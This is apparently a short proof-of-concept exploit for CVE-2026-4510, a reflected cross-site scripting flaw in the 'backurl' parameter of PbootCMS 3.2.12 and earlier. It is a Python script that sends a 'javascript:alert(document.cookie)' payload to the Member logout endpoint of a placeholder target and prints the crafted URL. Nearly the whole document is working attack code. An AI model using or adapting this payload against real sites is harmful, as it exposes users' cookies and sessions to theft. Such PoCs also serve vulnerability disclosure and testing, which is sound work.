CVE-2026-4510 PbootCMS跨站脚本漏洞

# PoC for CVE-2026-4510 # The vulnerability exists in the 'backurl' parameter # Targeting PbootCMS <= 3.2.12 # Step 1: Identify the vulnerable endpoint (e.g., Member login/logout) # Step 2: Inject payload into the 'backurl' parameter import requests target_url = "http://target.com/index.php" payload = "javascript:alert(document.cookie)" # Example request structure params = { "p": "Member", "c": "login", "a": "out", # or relevant action triggering alert_location "backurl": payload } # Send request response = requests.get(target_url, params=params) # If the script is reflected in the response without proper sanitization, # the browser will execute the alert when the user interacts with the page. print(f"Payload URL: {response.url}")